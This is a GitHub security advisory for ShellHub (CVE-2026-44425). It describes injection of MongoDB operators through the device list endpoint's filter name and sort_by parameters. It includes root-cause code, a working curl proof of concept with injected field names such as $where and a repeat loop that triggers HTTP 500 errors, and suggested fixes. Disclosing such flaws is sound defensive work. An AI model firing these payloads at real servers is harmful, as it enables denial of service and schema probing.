GHSA-47R2-V3X6-WFF9
Vulnerability from github – Published: 2026-05-06 23:28 – Updated: 2026-05-14 20:43Summary
The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:
- The
namefield of each filter property in the base64-encodedfilterquery parameter. - The
sort_byquery parameter.
Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.
Severity
CVSS 3.1: 6.5 (Medium) CWE-20 (Improper Input Validation) CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
Affected versions
ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (api/store/mongo/query-options.go).
Root cause
Vector 1 — Filter field name
api/store/mongo/query-options.go:140:
go
conditions = append(conditions, bson.M{param.Name: property})
param.Name is the name field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names ($where, $ne, $or, $regex) and virtual pipeline-computed fields (namespace, paths containing $) to be injected.
Vector 2 — Sort-by field
Similar pattern in the sort pipeline where the sort_by query parameter is used to build bson.M{"$sort": {sortBy: order}} without validation.
Additional observation
fromContains (api/store/mongo/internal/filters.go:60-69) passes user input directly as $regex value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.
go
func fromContains(value interface{}) (bson.M, error) {
switch value.(type) {
case string:
return bson.M{"$regex": value, "$options": "i"}, nil
Proof of concept (validated live against v0.24.1)
```bash TOKEN=
# Helper: base64-encode a filter payload encode_filter() { python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1" }
# --- Vector 1: filter field injection ---
# Baseline: legitimate filter -> 200 F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=200
# Exploit 1a: Mongo operator as field name F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500
# Exploit 1b: nested object as value F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500
# Exploit 1c: pipeline-computed field as filter name F=$(encode_filter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500
# --- Vector 2: sort-by injection ---
# Baseline: legitimate sort -> 200 curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=name" \ -H "Authorization: Bearer $TOKEN" # HTTP=200
# Exploit 2a: Mongo operator as sort field curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=\$where" \ -H "Authorization: Bearer $TOKEN" # HTTP=500
# Exploit 2b: path containing $ curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=_id.%24%24%24" \ -H "Authorization: Bearer $TOKEN" # HTTP=500
# Exploit 2c: oversized sort field (no length validation) curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=$(python3 -c 'print("A"*5000)')" \ -H "Authorization: Bearer $TOKEN" # HTTP=500
# Exploit 2d: non-indexable internal field curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=tenant_id" \ -H "Authorization: Bearer $TOKEN" # HTTP=500
# --- Repeat to demonstrate no rate limiting --- for i in $(seq 1 20); do curl -sS -o /dev/null -w "%{http_code} " "http://target/api/devices?sort_by=\$where" \ -H "Authorization: Bearer $TOKEN" done # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 ```
Confirmed field values that trigger 500:
- Filter name: $where, $regex, $or, $ne, remote_addr, tenant_id, namespace, any path containing $ after a .
- Sort-by: $where, _id.$$$, tenant_id, password.hash, overly long strings
Observed response characteristics:
HTTP/1.1 500 Internal Server Error
Content-Length: 0
X-Request-Id: <id> ← logged as error in backend
Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.
Impact
- Availability (low): unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass fingerprinting.
- Information disclosure (low): potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.
- Resource exhaustion (potential): user-controlled
$regexvalue on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments). - Forensics difficulty: unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.
Suggested fix
-
Allowlist filter and sort field names per collection. Add a whitelist of allowed
param.Nameandsort_byvalues for each model exposed via filters (device,session, etc.). Reject anything else with HTTP 400. -
Reject BSON operators in field names. Even if an allowlist is not practical, reject values that:
- start with
$ - contain
$after a. - contain characters outside
[A-Za-z0-9_.] - exceed a reasonable length (e.g., 64 characters)
- start with
-
Validate
valueshape. Forcontains/eq/neoperators, reject non-primitive values (objects, arrays of objects). -
Catch aggregation errors. In
api/store/mongo/query-options.go, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500. -
Limit regex complexity. In
fromContains, reject regex values longer than N characters or containing nested quantifiers ((...)+,(...)*,(.+)+, etc.) to mitigate ReDoS.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.24.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/shellhub-io/shellhub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.24.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44425"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-20",
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T23:28:05Z",
"nvd_published_at": "2026-05-13T22:16:44Z",
"severity": "MODERATE"
},
"details": "## Summary\nThe device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:\n\n 1. The `name` field of each filter property in the base64-encoded `filter`\n query parameter.\n 2. The `sort_by` query parameter.\n\nAny authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.\n\n## Severity\n**CVSS 3.1: 6.5 (Medium)** \nCWE-20 (Improper Input Validation) \nCWE-943 (Improper Neutralization of Special Elements in Data Query Logic)\n\n## Affected versions\nShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (`api/store/mongo/query-options.go`).\n\n## Root cause\n\n### Vector 1 \u2014 Filter field name\n `api/store/mongo/query-options.go:140`:\n\n ```go\n conditions = append(conditions, bson.M{param.Name: property})\n ```\n\n`param.Name` is the `name` field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names (`$where`, `$ne`, `$or`, `$regex`) and virtual pipeline-computed fields (`namespace`, paths containing `$`) to be injected.\n\n### Vector 2 \u2014 Sort-by field\nSimilar pattern in the sort pipeline where the `sort_by` query parameter is used to build `bson.M{\"$sort\": {sortBy: order}}` without validation.\n\n### Additional observation\n`fromContains` (`api/store/mongo/internal/filters.go:60-69`) passes user input directly as `$regex` value, which enables blind regex extraction over string fields within the caller\u0027s tenant and potential ReDoS amplification on large datasets.\n\n ```go\n func fromContains(value interface{}) (bson.M, error) {\n switch value.(type) {\n case string:\n return bson.M{\"$regex\": value, \"$options\": \"i\"}, nil\n ```\n\n## Proof of concept (validated live against v0.24.1)\n\n ```bash\n TOKEN=\u003cvalid-user-jwt\u003e\n\n # Helper: base64-encode a filter payload\n encode_filter() {\n python3 -c \u0027import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())\u0027 \"$1\"\n }\n\n # --- Vector 1: filter field injection ---\n\n # Baseline: legitimate filter -\u003e 200\n F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"name\",\"operator\":\"contains\",\"value\":\"anything\"}}]\u0027)\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=200\n\n # Exploit 1a: Mongo operator as field name\n F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"$where\",\"operator\":\"contains\",\"value\":\"x\"}}]\u0027)\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=500\n\n # Exploit 1b: nested object as value\n F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"status\",\"operator\":\"eq\",\"value\":{\"$ne\":\"accepted\"}}}]\u0027)\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=500\n\n # Exploit 1c: pipeline-computed field as filter name\n F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"namespace\",\"operator\":\"contains\",\"value\":\".\"}}]\u0027)\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=500\n\n # --- Vector 2: sort-by injection ---\n\n # Baseline: legitimate sort -\u003e 200\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=name\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=200\n\n # Exploit 2a: Mongo operator as sort field\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=\\$where\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=500\n\n # Exploit 2b: path containing $\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=_id.%24%24%24\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=500\n\n # Exploit 2c: oversized sort field (no length validation)\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=$(python3 -c \u0027print(\"A\"*5000)\u0027)\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=500\n\n # Exploit 2d: non-indexable internal field\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=tenant_id\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=500\n\n # --- Repeat to demonstrate no rate limiting ---\n for i in $(seq 1 20); do\n curl -sS -o /dev/null -w \"%{http_code} \" \"http://target/api/devices?sort_by=\\$where\" \\\n -H \"Authorization: Bearer $TOKEN\"\n done\n # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500\n ```\n\n **Confirmed field values that trigger 500:**\n - Filter name: `$where`, `$regex`, `$or`, `$ne`, `remote_addr`, `tenant_id`, `namespace`, any path containing `$` after a `.`\n - Sort-by: `$where`, `_id.$$$`, `tenant_id`, `password.hash`, overly long strings\n\n **Observed response characteristics:**\n ```\n HTTP/1.1 500 Internal Server Error\n Content-Length: 0\n X-Request-Id: \u003cid\u003e \u2190 logged as error in backend\n ```\n\nResponse time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.\n\n## Impact\n - **Availability (low):** unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass\nfingerprinting.\n - **Information disclosure (low):** potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.\n - **Resource exhaustion (potential):** user-controlled `$regex` value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).\n - **Forensics difficulty:** unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.\n\n## Suggested fix\n\n 1. **Allowlist filter and sort field names per collection.** Add a whitelist of allowed `param.Name` and `sort_by` values for each model exposed via filters (`device`, `session`, etc.). Reject anything else with HTTP 400.\n\n 2. **Reject BSON operators in field names.** Even if an allowlist is not practical, reject values that:\n - start with `$`\n - contain `$` after a `.`\n - contain characters outside `[A-Za-z0-9_.]`\n - exceed a reasonable length (e.g., 64 characters)\n\n 3. **Validate `value` shape.** For `contains`/`eq`/`ne` operators, reject non-primitive values (objects, arrays of objects).\n\n 4. **Catch aggregation errors.** In `api/store/mongo/query-options.go`, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.\n\n 5. **Limit regex complexity.** In `fromContains`, reject regex values longer than N characters or containing nested quantifiers (`(...)+`, `(...)*`, `(.+)+`, etc.) to mitigate ReDoS.",
"id": "GHSA-47r2-v3x6-wff9",
"modified": "2026-05-14T20:43:23Z",
"published": "2026-05-06T23:28:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/shellhub-io/shellhub/security/advisories/GHSA-47r2-v3x6-wff9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44425"
},
{
"type": "PACKAGE",
"url": "https://github.com/shellhub-io/shellhub"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "ShellHub has crash-DoS via field injection in filter and sort-by parameters"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.